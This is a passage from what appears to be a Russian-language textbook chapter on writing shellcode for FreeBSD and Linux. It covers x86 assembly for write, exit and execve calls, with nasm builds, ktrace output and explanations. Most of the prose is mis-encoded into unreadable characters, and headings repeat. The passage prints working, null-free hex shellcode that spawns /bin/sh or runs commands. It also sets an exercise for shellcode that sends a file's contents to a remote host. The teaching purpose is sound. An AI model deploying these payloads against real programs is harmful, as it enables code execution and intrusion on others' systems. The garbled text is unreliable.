� Äàëåå íóæíî âûïîëíèòü ñèñòåìíûé âûçîâ exit(0), òàê êàê èíà÷å ïðî-
ãðàììà âîéäåò â áåñêîíå÷íûé öèêë. Ïîñêîëüêó ñèñòåìíûé âûçîâ exit()
òðåáóåò âñåãî îäíîãî àðãóìåíòà, êîòîðûé â äàííîì ñëó÷àå ðàâåí 0, òî
ìû ïðîñòî óìåíüøàåì íà åäèíèöó çíà÷åíèå â ðåãèñòðå BL, êîòîðîå
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áûëî çàïèñàíî òóäà â ñòðîêå 8 è âñå åùå ðàâíî 1 (ñòðîêà 12), à â AL
çàíîñèì íîìåð ñèñòåìíîãî âûçîâà (ñòðîêà 13). Ïîñëå ýòîãî ìû âûçû-
âàåì ÿäðî, è ïðîãðàììà äîëæíà çàâåðøèòüñÿ, íàïå÷àòàâ íà ýêðàíå òåð-
ìèíàëà ñòðîêó «Hello, world!». Îòêîìïèëèðóåì è âûïîëíèì ýòîò êîä,
÷òîáû óáåäèòüñÿ, ÷òî âñå ðàáîòàåò:

1 [root@gabriel]# nasm -o write write.S

2 [root@gabriel]# s-proc -e write

3 Calling code...

4 Hello, world![root@gabriel]#

Â ñòðîêå 4 ìû âèäèì, ÷òî çàáûëè ïîìåñòèòü â êîíåö ïå÷àòàåìîãî ñîîáùå-
íèÿ ñèìâîë íîâîé ñòðîêè. ×òîáû èñïðàâèòü ýòî óïóùåíèå, âíåñåì èçìåíåíèå
â ñòðîêó 17 shell-êîäà:

db 'Hello, world!', 0x0a

0x0a – ýòî øåñòíàäöàòåðè÷íûé êîä ñèìâîëà íîâîé ñòðîêè. Êðîìå òîãî,
íóæíî óâåëè÷èòü íà 1 ÷èñëî âûâîäèìûõ áàéòîâ â ñòðîêå 9, òàê êàê èíà÷å
ñèìâîë íîâîé ñòðîêè âûâåäåí íå áóäåò:

mov dl,14

Ñíîâà îòêîìïèëèðóåì ïðîãðàììû è ïîñìîòðèì íà ðåçóëüòàò:

[root@gabriel]# nasm -o write-with-newline write-with-newline.S
[root@gabriel]# s-proc -e write-with-newline
Calling code...
Hello, world!
[root@gabriel]#

Òåïåðü ñèìâîë íîâîé ñòðîêè âûâåäåí, è âñå ñòàëî ñìîòðåòüñÿ êóäà ëó÷øå.
Â ïðèìåðå 9.2 ìû ïðîäåìîíñòðèðóåì ðàáîòû ñèñòåìíîãî âûçîâà write â ÎÑ
FreeBSD, äëÿ ÷åãî íàïå÷àòàåì ñòðîêó «Morning!\n», âîñïîëüçîâàâøèñü ìåòî-
äîì çàòàëêèâàíèÿ â ñòåê:

Пример 9.2. Пример 9.2. Пример 9.2. Пример 9.2. Пример 9.2. Системный вызов write в FreeBSD
1 xor eax,eax

2 cdq

3 push byte 0x0a

4 push 0x21676e69  ; !gni

5 push 0x6e726f4d  ; nroM

6 mov ebx,esp

7 push byte 0x9

Примеры shell�кодов
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 8 push ebx

 9 push byte 0x1

10 push eax

11 mov al,0x4

12 int 80h

13 push edx

14 mov al,0x1

15 int 0x80

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêàõ 1–2 ìû îáíóëÿåì ðåãèñòð EAX è ïîìåùàåì 0 â ðåãèñòð EDX,

âîñïîëüçîâàâøèñü êîìàíäîé CDQ. Ýòà êîìàíäà ïðåîáðàçóåò äâîéíîå
ñëîâî ñî çíàêîì, íàõîäÿùååñÿ â ðåãèñòðå EAX, â ñëîâî ó÷åòâåðåííîé
äëèíû ñî çíàêîì è çàïèñûâàåò åãî â ðåãèñòð EDX. Òàê êàê EAX ñîäåð-
æèò íóëè, òî ïîñëå âûïîëíåíèÿ êîìàíäû CDQ â EDX òîæå áóäóò íóëè.
Ìû èñïîëüçîâàëè èìåííî ýòó êîìàíäó, ïîñêîëüêó îíà òðàíñëèðóåòñÿ
âñåãî â îäèí áàéò, à íå â äâà, êàê «xor edx,edx». Ñòàëî áûòü, shell-êîä
ïîëó÷àåòñÿ êîðî÷å.

� Äàëåå ìû â òðè øàãà çàòàëêèâàåì ñòðîêó «Morning!\n» â ñòåê: ñíà÷àëà
ñèìâîë íîâîé ñòðîêè (ñòðîêà 3), çàòåì «!gni» (ñòðîêà 4) è íàêîíåö
«nroM» (ñòðîêà 5). Àäðåñ íà÷àëà ñòðîêè çàïîìèíàåòñÿ â ðåãèñòðå EBX
(ñòðîêà 6), ïîñëå ÷åãî ìû ãîòîâû ïîìåñòèòü â ñòåê àðãóìåíòû ñèñòåì-
íîãî âûçîâà.

� Òàê êàê äàííûå èçâëåêàþòñÿ èç ñòåêà â ïîðÿäêå, îáðàòíîì òîìó, â êîòî-
ðîì âñòàâëÿëèñü, òî ñíà÷àëà íóæíî ïîìåñòèòü ÷èñëî âûâîäèìûõ áàé-
òîâ, â äàííîì ñëó÷àå 9 (ñòðîêà 7). Äàëåå ìû ïîìåùàåì àäðåñ íà÷àëà
ñòðîêè (ñòðîêà 8) è â çàâåðøåíèå äåñêðèïòîð ôàéëà, ñîîòâåòñòâóþùåãî
stdout, òî åñòü 1 (ñòðîêà 9).

� Òåïåðü âñå àðãóìåíòû íàõîäÿòñÿ â ñòåêå. Ïåðåä òåì êàê âûçûâàòü ÿäðî,
ìû åùå ðàç ïîìåùàåì â ñòåê çíà÷åíèå èç ðåãèñòðà EAX, òàê êàê
FreeBSD îæèäàåò, ÷òî ïåðåä àðãóìåíòàìè ñèñòåìíîãî âûçîâà â ñòåêå
íàõîäÿòñÿ ÷åòûðå áàéòà. Íàêîíåö, â ðåãèñòð AL çàíîñèòñÿ íîìåð ñèñ-
òåìíîãî âûçîâà write (ñòðîêà 11), è ìû âûçûâàåì ÿäðî (ñòðîêà 12).

� Ïîñëå òîãî êàê ÿäðî âûïîëíèò ñèñòåìíûé âûçîâ write è âåðíåò óïðàâ-
ëåíèå, ìû âûïîëíÿåì exit, ÷òîáû âûéòè èç ïðîãðàììû. Íàïîìíèì, ÷òî
ïåðåä âûïîëíåíèåì ñèñòåìíîãî âûçîâà write â ñòåê áûëî ïîìåùåíî
çíà÷åíèå èç EAX (ñòðîêà 10), ïîñêîëüêó òàêîâî ñîãëàøåíèå î âûçîâå
ÿäðà â ñèñòåìå FreeBSD. Ýòè ÷åòûðå áàéòà âñå åùå íàõîäÿòñÿ â ñòåêå è
ñîäåðæàò íóëè, ïîýòîìó ìû ìîæåì èñïîëüçîâàòü èõ â êà÷åñòâå àðãóìåí-
òà ñèñòåìíîãî âûçîâà exit. Òàêèì îáðàçîì, íóæíî ëèøü ïîìåñòèòü
â ñòåê äîïîëíèòåëüíûå ÷åòûðå áàéòà (ñòðîêà 13), çàíåñòè íîìåð âûçîâà
exit â AL (ñòðîêà 14) è âûçâàòü ÿäðî (ñòðîêà 15).
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Òåïåðü ïðîòåñòèðóåì íàøó ïðîãðàììó è ïðåâðàòèì åå â shell-êîä:

bash-2.05b$ nasm -o write write.S
bash-2.05b$ s-proc -e write
Calling code...
Morning!
bash-2.05b$
bash-2.05b$ ./s-proc -p write

char shellcode[] =
"\x31\xc0\x99\x6a\x0a\x68\x69\x6e\x67\x21\x68\x4d\x6f\x72\x6e"
"\x89\xe3\x6a\x09\x53\x6a\x01\x50\xb0\x04\xcd\x80\x52\xb0\x01"
"\xcd\x80";

bash-2.05b$

Ðàáîòàåò! Ñîîáùåíèå âûâåäåíî íà stdout, è â íàøåì shell-êîäå íåò íóëåâûõ
áàéòîâ. Äàáû óáåäèòüñÿ, ÷òî âñå ñèñòåìíûå âûçîâû çàïèñàíû ïðàâèëüíî è
ñîîáùåíèå íå ïîÿâèëîñü ïî ñëó÷àéíîñòè, ïðîòðàññèðóåì âûïîëíåíèå ïðî-
ãðàììû ñ ïîìîùüþ ktrace. Ìû óâèäèì, ÷òî èìåííî ïåðåäàåòñÿ ñèñòåìíûì
âûçîâàì write è exit.

 1 bash-2.05b$ ktrace s-proc -e write
 2 Calling code...
 3 Morning!
 4 bash-2.05b$ kdump
 5   — ïðîïóùåíî —
 6   4866 s-proc RET   execve 0
 7   4866 s-proc CALL  mmap(0,0xaa8,0x3,0x1000,0xffffffff,0,0,0)
 8   4866 s-proc RET   mmap 671485952/0x28061000
 9   4866 s-proc CALL  munmap(0x28061000,0xaa8)
10   — ïðîïóùåíî —
11   4866 s-proc RET   write 17/0x11
12   4866 s-proc CALL  write(0x1,0xbfbffa80,0x9)
13   4866 s-proc GIO   fd 1 wrote 9 bytes
14        "Morning!
15        "
16   4866 s-proc RET   write 9
17   4866 s-proc CALL  exit(0)

Â ñòðîêàõ 12 è 17 ìû âèäèì, ÷òî áûëè âûïîëíåíû ñèñòåìíûå âûçîâû write
è call, ïðè÷åì èìåííî òàê, êàê ìû è õîòåëè.

Примечание

В Linux для трассировки системных вызовов можно воспользоваться
бесплатной утилитой strace.

Примеры shell�кодов
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Системный вызов execve

Shell-êîä äëÿ âûïîëíåíèÿ ñèñòåìíîãî âûçîâà execve, íàâåðíîå, âñòðå÷àåòñÿ
÷àùå âñåãî. Ñìûñë åãî â òîì, ÷òîáû çàïóñòèòü èç ïðèëîæåíèÿ, â êîòîðîå îí
âíåäðåí, íåêîòîðóþ ïðîãðàììó, íàïðèìåð, /bin/sh. Ìû ðàññìîòðèì íåñêîëü-
êî ðåàëèçàöèé òàêîãî shell-êîäà äëÿ îïåðàöèîííûõ ñèñòåì Linux è FreeBSD
ñ ïðèìåíåíèåì òåõíèêè jmp/call è çàòàëêèâàíèÿ ñòðîêè â ñòåê. Â ñòðàíèöå ðó-
êîâîäñòâà ïî ñèñòåìíîìó âûçîâó execve îïèñàí åãî ïðîòîòèï:

int execve(const char *path, char *const argv[], char *const envp[]);

Ïåðâûé àðãóìåíò – ýòî óêàçàòåëü íà ñòðîêó, ñîäåðæàùóþ ïóòü ê èñïîëíÿå-
ìîìó ôàéëó, âòîðîé – ìàññèâ ñòðîê. Êàæäàÿ ñòðîêà â ýòîì ìàññèâå ñîäåðæèò
îäèí èç ïåðåäàâàåìûõ ïðîãðàììå àðãóìåíòîâ. Ïîñëåäíèé àðãóìåíò execve –
ýòî òîæå ìàññèâ ñòðîê, íà ñåé ðàç ñîäåðæàùèõ ïåðåìåííûå îêðóæåíèÿ, êîòî-
ðûå äîëæíà âèäåòü ïðîãðàììà. Â ïðèìåðå 6.3 ïîêàçàíî, êàê îáðàùàòüñÿ
ê ýòîé ôóíêöèè èç ïðîãðàììû íà C.

Пример 9.3. Пример 9.3. Пример 9.3. Пример 9.3. Пример 9.3. Обращение к системному вызову execve из программы на C
1 int main() {

2     char *program = "/bin/echo";

3     char *argone = "Hello !";

4     char *arguments[3];

5     arguments[0] = program;

6     arguments[1] = argone;

7     arguments[2] = 0;

8     execve(program, arguments, 0);

9 }

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêàõ 2 è 3 ìû îïðåäåëÿåì ïîëíûé ïóòü ê ïðîãðàììå, êîòîðóþ õî-

òèì âûïîëíèòü, è åå àðãóìåíò.
� Â ñòðîêå 4 èíèöèàëèçèðóåòñÿ ìàññèâ óêàçàòåëåé íà ñèìâîëû (ñòðîê).
� Â ñòðîêàõ 5–7 ýòîò ìàññèâ çàïîëíÿåòñÿ, ïðè÷åì â ïîñëåäíèé ýëåìåíò çà-

ïèñûâàåòñÿ íóëü (ýòî ïðèçíàê êîíöà ìàññèâà).
� Â ñòðîêå 8 ìû âûçûâàåì ôóíêöèþ execve, ïåðåäàâàÿ åé èìÿ ïðîãðàììû,

ìàññèâ àðãóìåíòîâ è 0 âìåñòî ìàññèâà ïåðåìåííûõ îêðóæåíèÿ.

Îòêîìïèëèðóåì è çàïóñòèì ïðîãðàììó:

bash-2.05b$ gcc -o execve execve.c
bash-2.05b$ ./execve
Hello !
bash-2.05b$



447

Ïîçíàêîìèâøèñü ñ òåì, êàê îáðàùåíèå ê ñèñòåìíîìó âûçîâó execve ðåàëè-
çóåòñÿ íà C, ñäåëàåì òî æå ñàìîå íà àññåìáëåðå. Ïîñêîëüêó ìû íå ñîáèðàåìñÿ
ïåðåäàâàòü ïðîãðàììå /bin/sh íè àðãóìåíòîâ, íè ïåðåìåííûõ îêðóæåíèÿ, òî
âòîðîé è òðåòèé àðãóìåíòû ñèñòåìíîãî âûçîâà ìîãóò áûòü ðàâíû 0. Íà C òà-
êîå îáðàùåíèå âûãëÿäåëî áû ñëåäóþùèì îáðàçîì:

execve("/bin/sh", 0, 0);

Â ïðèìåðå 9.4 ïðåäñòàâëåíà àññåìáëåðíàÿ âåðñèÿ ýòîãî êîäà.

Пример 9.4.Пример 9.4.Пример 9.4.Пример 9.4.Пример 9.4. Реализация execve для FreeBSD с помощью jmp/call
 1 BITS 32

 2 jmp short callit

 3 doit:

 4 pop esi

 5 xor eax, eax

 6 mov byte [esi + 7], al

 7 push eax

 8 push eax

 9 push esi

10 mov al,59

11 push eax

12 int 0x80

13 callit:

14 call doit

15 db '/bin/sh'

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â íà÷àëå ìû âîñïîëüçîâàëèñü ïðèåìîì jmp/call, ÷òîáû îïðåäåëèòü àä-

ðåñ ñòðîêè «/bin/sh». Â ñòðîêå  2  ìû ïåðåõîäèì íà ìåòêó call it (ñòðîêà 13),
îòêóäà âûçûâàåì ôóíêöèþ doit (ñòðîêà 14).

� Êîìàíäà call ïîìåùàåò â ñòåê òåêóùèé ñ÷åò÷èê êîìàíä (ðåãèñòð EIP),
êîòîðûé óêàçûâàåò íà àäðåñ ÿ÷åéêè, ñëåäóþùåé çà call, è âûïîëíÿåò ïå-
ðåõîä íà ìåòêó doit. Òàì ìû ïåðâûì äåëîì èçâëåêàåì èç ñòåêà íàõîäÿùå-
åñÿ íàâåðõó äâîéíîå ñëîâî è ïîìåùàåì åãî â ðåãèñòð ESI. Òåïåðü â ESI
íàõîäèòñÿ àäðåñ íà÷àëà ñòðîêè «/bin/sh», êîòîðûé ìîæíî ïåðåäàòü ñèñ-
òåìíîìó âûçîâó â êà÷åñòâå ïåðâîãî àðãóìåíòà.

� Òåïåðü íóæíî çàâåðøèòü ñòðîêó íóëåâûì áàéòîì. Â ñòðîêå 5 ìû îáíó-
ëÿåì ðåãèñòð EAX êîìàíäîé XOR, à çàòåì äîáàâëÿåì ìëàäøèé áàéò ýòî-
ãî ðåãèñòðà â êîíåö ñòðîêè ñ ïîìîùüþ êîìàíäû MOV BYTE (ñòðîêà 6).

� Ïîðà ïðèñòóïàòü ê çàòàëêèâàíèþ àðãóìåíòîâ â ñòåê. Òàê êàê EAX ñåé-
÷àñ ñîäåðæèò íóëè, òî ìîæíî âîñïîëüçîâàòüñÿ èì â êà÷åñòâå âòîðîãî è
òðåòüåãî àðãóìåíòîâ, ÷òî ìû è ñäåëàëè, äâàæäû ïîìåñòèâ åãî â ñòåê

Примеры shell�кодов
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(ñòðîêè 7 è 8). Çàòåì ìû çàòàëêèâàåì óêàçàòåëü íà íà÷àëî ñòðîêè «/bin/
sh» (ñòðîêà 9) è çàíîñèì íîìåð ñèñòåìíîãî âûçîâà execve â ðåãèñòð AL
(ñòðîêà 10).

� Âûøå ìû óæå ãîâîðèëè, ÷òî ñîãëàøåíèå î âûçîâå ÿäðà âî FreeBSD
ïðåäóñìàòðèâàåò íàëè÷èå ÷åòûðåõ áàéòîâ ïåðåä àðãóìåíòàìè ñèñòåì-
íîãî âûçîâà. Â äàííîì ñëó÷àå èõ çíà÷åíèÿ íå èãðàþò ðîëè, ïîýòîìó
ïðîñòî ïîìåùàåì EAX â ñòåê åùå îäèí ðàç (ñòðîêà 11).

� Òåïåðü âñå ãîòîâî, ïîýòîìó â ñòðîêå 12 ìû âûçûâàåì ÿäðî.

Îòêîìïèëèðóåì è çàïóñòèì íàø shell-êîä:

bash-2.05b$ nasm -o execve execve.S
bash-2.05b$ s-proc -p execve

/* Ñëåäóþùèé shell-êîä çàíèìàåò 28 áàéòîâ */

char shellcode[] =
"\xeb\x0e\x5e\x31\xc0\x88\x46\x07\x50\x50\x56\xb0\x3b\x50\xcd"
"\x80\xe8\xed\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

bash-2.05b$ s-proc -e execve
Calling code...
$

Shell-êîä ðàáîòàåò è çàíèìàåò âñåãî 28 áàéòîâ – ñîâñåì íåïëîõî

Примечание

В качестве упражнения напишите shell�код, который открывает файл
(системный вызов open), записывает в него данные (write) и закры�
вает файл (close). Запишите по крайней мере один символ новой
строки и хотя бы один нулевой байт. Еще одно полезное упражне�
ние – shell�код, который читает данные из файла, открывает сокет
для соединения с удаленным хостом и записывает прочитанные дан�
ные в этот сокет.

Â ïðèìåðå 9.4 ìû âîñïîëüçîâàëèñü òåõíèêîé jmp/call, ÷òî íå ñëèøêîì ýêî-
íîìíî. Åñëè çàòîëêíóòü ñòðîêó «/bin/sh» â ñòåê, òî ïîëó÷èòñÿ áîëåå êîðîòêèé
shell-êîä, êîòîðûé áóäåò äåëàòü â òî÷íîñòè òî æå ñàìîå. Ïðîäåìîíñòðèðóåì
ýòó èäåþ â ïðèìåðå 9.5.

Пример 9.5. Пример 9.5. Пример 9.5. Пример 9.5. Пример 9.5. Реализация execve для FreeBSD с помощью заталкивания в стек
1 BITS 32

2
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 3 xor eax,eax

 4 push eax

 5 push 0x68732f6e

 6 push 0x69622f2f

 7 mov ebx,esp

 8 push eax

 9 push eax

10 push ebx

11 mov al,59

12 push eax

13 int 80h

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Ñ ïîìîùüþ êîìàíäû PUSH ìû çàòàëêèâàåì ñòðîêó «//bin/sh» â ñòåê.

Äîïîëíèòåëüíûé ñèìâîë êîñîé ÷åðòû â íà÷àëå – ýòî íå îïå÷àòêà; ìû
äîáàâèëè åãî, ÷òîáû ñòðîêà ñîñòîÿëà ðîâíî èç âîñüìè áàéòîâ, òîãäà äëÿ
ïîìåùåíèÿ åå â ñòåê áóäåò äîñòàòî÷íî âñåãî äâóõ êîìàíä (ñòðîêè 5 è 6).

� Â ñòðîêå 3 ìû îáíóëÿåì ðåãèñòð EAX, à çàòåì ïîìåùàåì åãî â ñòåê, íóëå-
âîå çíà÷åíèå áóäåò ñëóæèòü ñèìâîëîì êîíöà ñòðîêè. Çàòåì ñòðîêà
«//bin/sh» çàòàëêèâàåòñÿ â ñòåê â äâà øàãà. Íàïîìíèì, ÷òî ñòåê ðàñòåò
îò ñòàðøèõ àäðåñîâ ê ìëàäøèì, òàê ÷òî ñèìâîëû ìû çàòàëêèâàåì
â îáðàòíîì ïîðÿäêå: ñíà÷àëà «hs/n» (ñòðîêà 5), çàòåì «ib//» (ñòðîêà 6).

� Ïîìåñòèâ ñòðîêó â ñòåê, ìû ñîõðàíÿåì òåêóùèé óêàçàòåëü ñòåêà ESP, óêà-
çûâàþùèé íà åå íà÷àëî, â ðåãèñòðå EBX. Òåïåðü âñå ãîòîâî äëÿ ïîìå-
ùåíèÿ â ñòåê àðãóìåíòîâ è âûçîâà ÿäðà. Ïîñêîëüêó ìû íå ñîáèðàåìñÿ
ïåðåäàâàòü ïðîãðàììå /bin/sh íè àðãóìåíòîâ, íè ïåðåìåííûõ ñðåäû, òî
äâàæäû çàòàëêèâàåì â ñòåê ðåãèñòð EAX, êîòîðûé ñîäåðæèò íóëè (ñòðî-
êè 8 è 9). Ýòî áóäóò çíà÷åíèÿ âòîðîãî è òðåòüåãî àðãóìåíòîâ execve.

� Äàëåå ïîìåñòèì â ñòåê ðåãèñòð EBX, ñîäåðæàùèé óêàçàòåëü íà íà÷àëî
ñòðîêè «//bin/sh» (ñòðîêà 10), çàíåñåì íîìåð ñèñòåìíîãî âûçîâà execve
â ðåãèñòð AL (ñòðîêà 11), ñíîâà çàòîëêíåì â ñòåê EAX, ïàìÿòóÿ î ñîãëà-
øåíèè î âûçîâå ÿäðà â FreeBSD (ñòðîêà 12), è, íàêîíåö, âûçîâåì ÿäðî
(ñòðîêà 13).

Êàê âèäèòå, àññåìáëåðíûé êîä ïîëó÷èëñÿ êîðî÷å, ÷åì â ïðèìåðå 9.4, õîòÿ
äåëàåò îí òî æå ñàìîå. Ìåòîä çàòàëêèâàíèÿ ñòðîêè â ñòåê ýôôåêòèâíåå, ïî-
ýòîìó ìû íàñòîÿòåëüíî ðåêîìåíäóåì ïðè ðàçðàáîòêå shell-êîäîâ ïîëüçîâàòü-
ñÿ èìåííî èì. Ïðîòåñòèðóåì íàø shell-êîä è ïðåîáðàçóåì åãî â ñòðîêó:

1 bash-2.05b$ nasm -o bin-sh bin-sh.S

2 bash-2.05b$ s-proc -p bin-sh

3
4 /* Ñëåäóþùèé shell-êîä çàíèìàåò 23 áàéòà */

5

Примеры shell�кодов
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 6 char shellcode[] =

 7 "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"

 8 "\x50\x50\x53\x50\xb0\x3b\xcd\x80";

 9
10
11 bash-2.05b$ s-proc -e bin-sh

12 Calling code...

13 $

Êàê âèäèòå, â ñòðîêå 13 áûëà âûïîëíåíà ïðîãðàììà /bin/sh, òàê ÷òî shell-
êîä ñðàáîòàë! Ïðè ýòîì ìû ñýêîíîìèëè 5 áàéòîâ ïî ñðàâíåíèþ ñ ïðåäûäó-
ùèì âàðèàíòîì, ãäå ïðèìåíÿëàñü òåõíèêà jmp/call. Ïîñìîòðèì òåïåðü, êàê
ìîæíî âîñïîëüçîâàòüñÿ ìåòîäîì çàòàëêèâàíèÿ â ñòåê äëÿ âûïîëíåíèÿ execve
ñ íåñêîëüêèìè àðãóìåíòàìè.

×òîáû ïåðåäàòü àðãóìåíòû ñèñòåìíîìó âûçîâó execve, íóæíî ïîäãîòîâèòü
ìàññèâ ñòðîê. Ïåðâûé ýëåìåíò â íåì äîëæåí óêàçûâàòü íà ïóòü ê èñïîëíÿåìîé
ïðîãðàììå. Â ïðèìåðå 9.6 ïðåäñòàâëåí êîä, êîòîðûé çàïóñêàåò êîìàíäó /bin/sh -c
date. Ïñåâäîêîä ýòîãî ïðèìåðà âûãëÿäèò òàê:

execve("/bin/sh", {"/bin/sh", "-c", "date", 0}, 0);

Пример 9.6. Пример 9.6. Пример 9.6. Пример 9.6. Пример 9.6. Реализация execve с несколькими аргументами для FreeBSD
с помощью заталкивания в стек
 1 BITS 32

 2 xor eax,eax

 3 push eax

 4 push 0x68732f6e

 5 push 0x69622f2f

 6 mov ebx,esp

 7
 8 push eax

 9 push word 0x632d

10 mov edx,esp

11
12 push eax

13 push 0x65746164

14 mov ecx,esp

15
16 push eax  ; NULL

17 push ecx  ; óêàçàòåëü íà date

18 push edx  ; óêàçàòåëü íà "-c"

19 push ebx  ; óêàçàòåëü íà "//bin/sh"

20 mov ecx,esp

21
22 push eax

23 push ecx
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24 push ebx

25 mov al,0x59

26 push eax

27 int 0x80

Åäèíñòâåííîå îòëè÷èå ýòîãî êîäà îò ïðèâåäåííîãî âûøå â òîì, ÷òî ìû
äîëæíû çàòîëêíóòü â ñòåê äîïîëíèòåëüíûå àðãóìåíòû è ñîçäàòü ìàññèâ óêà-
çàòåëåé íà íèõ.

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Ñòðîêè 7–17 íîâûå, âñå îñòàëüíîå óæå îáñóæäàëîñü âûøå. ×òîáû ïîä-

ãîòîâèòü ìàññèâ óêàçàòåëåé íà àðãóìåíòû ïðîãðàììû, íóæíî çàòîëê-
íóòü ýòè àðãóìåíòû â ñòåê è çàïîìíèòü èõ àäðåñà.

� Â ñòðîêå 8 ìû ïîìåùàåì â ñòåê ïðåäâàðèòåëüíî îáíóëåííûé ðåãèñòð
EAX, ýòî áóäåò ïðèçíàê êîíöà ñòðîêè.

� Â ñòðîêå 9 â ñòåê çàòàëêèâàåòñÿ ñòðîêà «c-» (äâà áàéòà). Åñëè íå óêàçàòü
â êîìàíäå PUSH ìîäèôèêàòîð WORD, òî nasm ïðåîáðàçóåò ñëîâî 0x632d
â äâîéíîå ñëîâî è ïîìåñòèò â ñòåê çíà÷åíèå 0x0000632d, â ðåçóëüòàòå
÷åãî â shell-êîäå ïîÿâÿòñÿ äâà íóëåâûõ áàéòà.

� Â ñòðîêå 9 ìû çàïîìèíàåì òåêóùåå çíà÷åíèå óêàçàòåëÿ ñòåêà ESP â ðåãè-
ñòðå EDX (ýòî àäðåñ íà÷àëà àðãóìåíòà -c), ïîñëå ÷åãî ìîæåì ïðèñòó-
ïèòü ê ïîäãîòîâêå ñëåäóþùåãî àðãóìåíòà: ñòðîêè «date».

� Â ñòðîêå 12 ìû ñíîâà ïîìåùàåì â ñòåê íóëåâîå çíà÷åíèå EAX, âûñòó-
ïàþùåå â ðîëè êîíöà ñòðîêè.

� Â ñòðîêàõ 13 è 14 â ñòåê çàòàëêèâàåòñÿ ñòðîêà «etad», à àäðåñ åå íà÷àëà
çàïîìèíàåòñÿ â ðåãèñòðå ECX.

Примечание

Строки �c и date заталкиваются в обратном порядке, так как стек ра�
стет в направлении от старших адресов к младшим.

� Òåïåðü âñå àðãóìåíòû ãîòîâû è ìîæíî ïðèñòóïèòü ê ñîçäàíèþ ìàññèâà
óêàçàòåëåé. Ïîñêîëüêó îí äîëæåí çàâåðøàòüñÿ íóëåì, òî ìû ñíà÷àëà çà-
òàëêèâàåì â ñòåê íóëåâîå çíà÷åíèå èç ðåãèñòðà EAX (ñòðîêà 16). Çàòåì
ïîñëåäîâàòåëüíî ïîìåùàåì óêàçàòåëè íà ñòðîêè «date», «-c» è «//bin/sh».
Â ýòîò ìîìåíò ñòåê âûãëÿäèò ñëåäóþùèì îáðàçîì:

0x0000000068732f6e69622f2f00000000632d000000006574616400000000aaaabbbbcccc
          ^^^^^^^^^^^^^^^^        ^^^^        ^^^^^^^^
          "//bin/sh"              "-c"        "date"

Примеры shell�кодов
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� aaaabbbbcccc – ýòî íåèçâåñòíûå çíà÷åíèÿ óêàçàòåëåé íà ñòðîêè «date»,
«-c» è «//bin/sh». Ìàññèâ ïîäãîòîâëåí è â ñòðîêå 20 ìû çàïîìèíàåì åãî
àäðåñ â ðåãèñòðå ECX. Ýòî áóäåò âòîðîé àðãóìåíò execve. Â ñòðîêàõ 22–
27 ìû ïîìåùàåì â ñòåê âñå àðãóìåíòû, çàíîñèì â AL íîìåð ñèñòåìíîãî
âûçîâà execve è âûçûâàåì ÿäðî.

Îòêîìïèëèðóåì è ïðîòåñòèðóåì ýòîò shell-êîä:

bash-2.05b$ nasm -o bin-sh-three-arguments bin-sh-three-arguments.S
bash-2.05b$ s-proc -p bin-sh-three-arguments

/* Ñëåäóþùèé shell-êîä çàíèìàåò 44 áàéòà */

char shellcode[] =
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
"\x50\x66\x68\x2d\x63\x89\xe2\x50\x68\x64\x61\x74\x65\x89\xe1"
"\x50\x51\x52\x53\x89\xe1\x50\x51\x53\x50\xb0\x3b\xcd\x80";

bash-2.05b$ s-proc -e bin-sh-three-arguments
Calling code...
Sun Jun  1 16:54:01 CEST 2003
bash-2.05b$

Äàòà íàïå÷àòàíà, shell-êîä ðàáîòàåò!
Ïîñìîòðèì, êàê ðåàëèçîâàòü ñèñòåìíûé âûçîâ execve â Linux ñ ïîìîùüþ

òåõíèêè jmp/call. Ðåàëèçàöèÿ î÷åíü ïîõîæà íà òî, ÷òî ìû ñäåëàëè äëÿ FreeBSD,
åäèíñòâåííîå îòëè÷èå â ñïîñîáå ïåðåäà÷è àðãóìåíòîâ ñèñòåìíîãî âûçîâà
ÿäðó. Íàïîìíèì, ÷òî Linux îæèäàåò, ÷òî àðãóìåíòû ïåðåäàþòñÿ â ðåãèñòðàõ,
òîãäà êàê FreeBSD ïðåäïîëàãàåò, ÷òî îíè äîëæíû áûòü ïîìåùåíû â ñòåê. Âîò
êàê âûãëÿäåëà áû ðåàëèçàöèÿ îáðàùåíèÿ ê execve â Linux íà ÿçûêå C:

int main()
{
  char *command = "/bin/sh";
  char *args[2];

  args[0] = command;
  args[1] = 0;

  execve(command, args, 0);
}

Â îòëè÷èå îò FreeBSD ìû íå ìîæåì ïåðåäàòü 0 â êà÷åñòâå âòîðîãî àðãóìåí-
òà. Ïîýòîìó ïðèõîäèòñÿ ñîçäàâàòü ìàññèâ ñòðîê. Â ïåðâîì ýëåìåíòå ýòîãî
ìàññèâà, êîòîðûé ìû íàçâàëè args, äîëæåí íàõîäèòüñÿ óêàçàòåëü íà ñòðîêó
ñ èìåíåì êîìàíäû. Â ïðèìåðå 9.7 ýòà ïðîãðàììà ïåðåïèñàíà íà àññåìáëåðå:
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Пример 9.7. Пример 9.7. Пример 9.7. Пример 9.7. Пример 9.7. Реализация execve для Linux методом jmp/call
 1 BITS 32

 2 jmp short callit

 3 doit:

 4 pop ebx

 5 xor eax, eax

 6 cdq

 7 mov byte [ebx + 7], al

 8 mov long [ebx + 8], ebx

 9 mov long [ebx + 12], eax

10 lea ecx, [ebx + 8]

11 mov byte al, 0x0b

12 int 0x80

13 callit:

14 call doit

15 db '/bin/sh'

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â íà÷àëå ìû âîñïîëüçîâàëèñü ïðèåìîì jmp/call, ÷òîáû ïîëó÷èòü àäðåñ

ñòðîêè «/bin/sh» è ñîõðàíèòü åãî â ðåãèñòðå EBX (ñòðîêè 2–4 è 13–14).
� Çàòåì ìû îáíóëÿåì ðåãèñòð EAX (ñòðîêà 5) è èñïîëüçóåì åãî â êà÷åñòâå

ïðèçíàêà êîíöà ñòðîêè (ñòðîêà 7). Êðîìå òîãî, ñ ïîìîùüþ êîìàíäû
CDQ ìû çàïèñûâàåì íóëè â ðåãèñòð EDX. Îí áóäåò ïðåäñòàâëÿòü òðåòèé
